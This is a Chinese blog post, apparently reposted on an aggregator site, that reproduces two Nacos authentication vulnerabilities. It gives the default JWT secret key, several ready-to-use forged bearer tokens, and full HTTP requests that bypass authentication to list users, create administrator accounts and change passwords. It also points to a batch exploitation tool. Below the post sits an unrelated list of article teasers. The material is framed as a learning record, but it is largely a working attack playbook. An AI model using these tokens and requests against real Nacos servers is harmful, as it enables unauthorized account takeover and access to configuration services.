Nacos漏洞复现合集

news2024/11/25 19:24:08

本文主要复现nacos的一些经典漏洞,既是分享也是为了记录自己的成长,近期会持续更新。

1. QVD-2023-6271 Nacos身份绕过漏洞

1.1 漏洞级别 :高危

1.2 漏洞描述:低版本的Nacos存在默认的scertkey在未更换的情况下可以生成任意的可用accesstoken

1.3利用范围

nacos <=2.2.0

1.4 漏洞复现

先来重点介绍一下如何任意生成一个可用的accesstoken
在nacos中accesstoken的生成是通过jwt的字符串创建的。
在nacos中默认的secertkey为:

SecretKey012345678901234567890123456789012345678901234567890123456789

jwt的payload参数为

{
  "sub": "nacos",
  "exp": 1699974368
}
#其中exp为时间戳,实际测试中这个时间戳早于或晚于当前时间都可以生效,如果无效的话可以调整时间戳到当前时间以后

至此一份完整的jwt生成数据就形成了
在这里插入图片描述注:请注意红框部分的secret base64 encoded 必须勾选,否则生成的encoded就是错误的,笔者在此踩过雷。

至此万能accesstoken就生成了,实际测试一下:
在login接口的header添加下列参数

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

一个完整的request包如下:(username和password可以随意填写)

POST /nacos/v1/auth/users/login HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

username=nacos&password=123456

如果之前的jwt生成时间戳在当前时间之前,会返回
在这里插入图片描述
在当前时间之后则会返回
在这里插入图片描述
这2种情况下生成的accesstoken都是有效的。

1.4.2 以admin账户登录

上文介绍了快速登录的方案,如果想要以现有的某个账号登录进去可以进行如下操作:
bp进行登录抓包:
header中添加如下参数,放行数据包即可登录

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

在这里插入图片描述username为想要登录的账号,如下图登录成功
在这里插入图片描述

1.4.3 漏洞速通

上文介绍了漏洞的利用原理和生成模式,实际上,由于secretkey一致,所有人通过该方法生成的accesstoken都是通用的。

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

上文给出的2个jwt都是可以直接使用的,无需再次构建。
推荐一个github项目 https://github.com/Pizz33/nacos_vul
其中nacosvul.py可以批量检测目标网站是否存在漏洞
nacosadd.py可以直接生成账号,执行

python3 nacosadd.py url

在这里插入图片描述通过这个账号即可正常登录

2. CVE-2021-29441 Nacos未授权访问

2.1 漏洞级别 :高危

2.2 漏洞描述:

当 nacos 在执行身份验证和授权操作时确定请求的用户代理是否为“Nacos-Server”时,由于简单的配置,通过利用此未经授权的漏洞,攻击者直接执行nacos的相关api接口进行漏洞利用

2.3 利用范围

nacos <=2.0.0-ALPHA.1

2.4 漏洞复现

访问如下链接:

url/nacos/v1/auth/users?pageNo=1&pageSize=2
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改

默认配置下就可以直接显示服务下的账号信息
在这里插入图片描述
这里可以正常显示的话就表示漏洞可以正常利用,构造包

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10
  • 其中username和password即为新增的账号密码
  • user-Agent需要设置为Nacos-Server (第一步同理,也需要配置)
  • 如果返回"create user ok!" 即利用成功
    在这里插入图片描述
    注:在1.4.1版本下测试时,发现agent不修改的情况下,就可以直接执行相关操作,这可能Nacos的默认权限配置有关,有研究的大佬也可以留言交流一下~

3 Nacos漏洞利用进阶

上文介绍的几种漏洞利用方案是添加账号的方式,其实Nacos中账号操作的api有不少,在同等权限下也是可以利用,下文会介绍几种常见的api,大家可以自由选择利用方案。

3.1 创建用户

3.1.1 未授权接口

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10

3.1.2 需校验接口

POST /nacos/v1/auth/users HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w

username=test&password=123456

3.2 修改密码

PUT /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Accesstoken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo
Content-Length: 31
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

username=haha&newPassword=12345

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1208412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

部署百川大语言模型Baichuan2

Baichuan2是百川智能推出的新一代开源大语言模型&#xff0c;采用 2.6 万亿 Tokens 的高质量语料训练。在多个权威的中文、英文和多语言的通用、领域 benchmark 上取得同尺寸最佳的效果。包含有 7B、13B 的 Base 和 Chat 版本&#xff0c;并提供了 Chat 版本的 4bits 量化。 模…

C++——内存管理(new/delete使用详解)

C内存管理 本章思维导图&#xff1a; 注&#xff1a;本章思维导图对应的xmind文件和.png文件已同步导入至资源 1. C/C内存区域的划分 在C/C中&#xff0c;内存区域主要划分为&#xff1a;内核区域、栈区、内存映射段、堆区、数据段、代码段等区域&#xff0c;如图&#xff1…

mysql数据库报错:1166-Incorrect column name ‘xxx‘

如图&#xff0c;我的报错是&#xff1a;1166-Incorrect column name ‘book_date’&#xff0c;很奇怪&#xff0c;其它的字段都没有报错&#xff0c;但是book_date报错了 报错原因&#xff1a;引入了空字符 可以看到我的鼠标和book_date中间还有一个空格。所以导致该行创建失…

ERP是什么意思?看这一篇就够了!

如果你身在制造业&#xff0c;那么一定对ERP不陌生。天天把ERP挂在嘴边&#xff0c;但你真的了解什么是ERP吗&#xff1f;本篇文章将介绍以下几点&#xff1a;1.ERP是什么意思&#xff1b;2.ERP的功能&#xff1b;3.ERP的落地案例。 一、ERP是什么意思 ERP是企业资源计划&…

5、鸿蒙项目远程调试

一、注册华为账号&#xff0c; 如果是华为手机&#xff0c;并注册了账号可能跳过此步骤&#xff0c;如果使用邮箱注册&#xff0c;此邮箱一定是要正确的邮箱&#xff0c;此处需要使用邮箱获取验证码 注册地址&#xff1a;‎ 1、进入注册页面&#xff0c;输入手机号等信息后点…

Python 爬虫之scrapy 库

文章目录 总的介绍相关模块 总的介绍 Scrapy是一个用于爬取网站数据的开源Python框架。它提供了一套强大而灵活的工具&#xff0c;用于从网站上提取所需的数据。Scrapy是基于Twisted异步网络库构建的&#xff0c;因此可以高效地处理大量的并发请求。以下是Scrapy的一些主要特点…

APUS与深圳大学大数据国家工程实验室联合训练开源中文大模型

日前&#xff0c;APUS与深圳大学大数据系统计算技术国家工程实验室&#xff08;以下简称“国家工程实验室”&#xff09;达成战略合作。双方集成各自优势联合开发、开源高性能中文多模态大模型Linly-Chinese-LLaMA-2-70B。该模型将更加适配中文服务场景&#xff0c;计划于2024年…

WebDAV之π-Disk派盘 + RS文件管理器

手机本地文件,网盘、共享文件,如何集中管理?推荐您使用Rs文件管理器,还支持WebDAV等功能。 Rs文件管理器是一款功能强大的手机文件管理器。有强大的本地和网络文件管理功能,让您更方便的管理你的手机、平板、电脑和网盘。可以帮助您轻松管理手机本地存储文件和网络文件,…

keepalived+haproxy配置集群和负载均衡

1、简介 1.1. Keepalived Keepalived 是一个基于VRRP协议来实现的LVS服务高可用方案,可以利用其来避免单点故障。一个LVS服务会有2台服务器运行Keepalived,一台为主服务器(MASTER),一台为备份服务器(BACKUP),但是对外表现为一个虚拟IP,主服务器会发送特定的消息给备…

19C进入数据库出现问号

问题情况如图所示&#xff1a; 解决方法&#xff1a; su - oracle echo "NLS_LANGAMERICAN_AMERICA.ZHS16GBK;export NLS_LANG" >> ~/.bash_profilesource ~/.bash_profileofile

几种实现子容器水平垂直居中的方法

几种实现子容器水平垂直居中的方法 前言子容器Flexbox 布局position绝对定位transform表格布局 缺点 前言 本文主要讲解有几种方法可以实现容器与子容器水平垂直居中&#xff0c;这些方法的使用方式。那么好&#xff0c;本文正式开始。 子容器 Flexbox 布局 <div style&…

经纬恒润马来西亚工厂正式投入试运行

2023年11月&#xff0c;经纬恒润在中国境外的第一家工厂正式投入试运行。新工厂位于马来西亚&#xff0c;于2023年4月开始筹建&#xff0c;规划总产能500万个汽车电子控制器&#xff0c;主要用于生产新能源汽车电子产品&#xff0c;以满足国外客户日益增长的需求。 经纬恒润马来…

C++编译器对临时对象的优化

思考&#xff1a;我们在构造运算符重载号重载的时候会构造那些函数呐&#xff1f;&#xff1f;&#xff1f; 例子&#xff1a;小dome //该运算重载函数 由 左操作数调用&#xff0c;右操作数当做实参传递给该函数//触发t1t3->t1.operator (t3)Test operator (const Test &a…

印刷设备丝杆选择研磨杆还是冷轧杆好?

在印刷设备中&#xff0c;选择研磨杆还是冷轧杆取决于具体的使用需求和设备要求。以下是关于两种丝杆选择的要点&#xff1a; 1、精度要求&#xff1a;研磨杆通常具有更高的制造精度&#xff0c;能够有效保证印刷设备的精度和稳定性。研磨杆经过精细研磨和校准&#xff0c;具有…

Express基本接口开发-入门学习

前提推荐 任何一个新的知识都是从文档看起&#xff0c;因此express官方文档示例有必要去学习一遍。 推荐看&#xff1a; 推荐入门指南-路由指南-中间件 看完这几个内容之后心里大概知道express有些什么东西了&#xff0c;然后现在就可以去练习了 注意&#xff1a;更多示例-代…

什么猫罐头好吃?猫咪嘎嘎炫的5款猫主食罐头推荐!

想必铲屎官都知道给猫咪长期吃主食罐头的好处了吧&#xff01;主食罐头不仅营养丰富&#xff0c;还能让猫咪顺便补充水分。有时候猫咪食欲不佳&#xff0c;一罐猫主食罐头就能让它们胃口大开呢~ 作为家里有3只猫的铲屎官来说&#xff0c;养猫的这几年可以说血泪史了&#xff0…

GreenCloud VPS 重装系统后无法 SSH 的解决方法

发布于 2023-07-17 在 https://chenhaotian.top/vps/greencloud-ssh-fix/ 解决方法 发工单让客服解决即可。 操作过程 Tu Pham Operator 客服 Hello, We have fixed your problem, please try again! Thanks! Tu Pham, Senior Technician - GreenCloudVPS 17th July 2023…

微信个人号api

简要描述&#xff1a; 登录E云平台 请求URL&#xff1a; http://域名地址/member/login域名地址开发者账号密码:后台系统自助开通 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/json 参数&#xff1a; 参数名必选类型说…

Unity--互动组件(Toggle)

1.组件的可交互 2.组件的过渡状态 3.组件的导航 4.Toggle的属性和参数设置 Toggle 切换控制是一个复选框&#xff0c;允许用户打开或关闭的一个选项&#xff1b; ”Toggle的属性和参数&#xff1a;“” Is on&#xff1a;&#xff08;开启&#xff09; 拨动开关是否从一开…

学生自助查分神秘武器

紧张刺激的期中考试落下帷幕&#xff0c;是不是期待着学生们的成绩揭晓&#xff1f;来&#xff0c;让我这个小红书博主教你&#xff0c;如何利用各种神器&#xff0c;轻松实现学生自助查询成绩&#xff01; 1代码查询&#xff1a; 有些学校已经内置了成绩查询的代码&#xff0…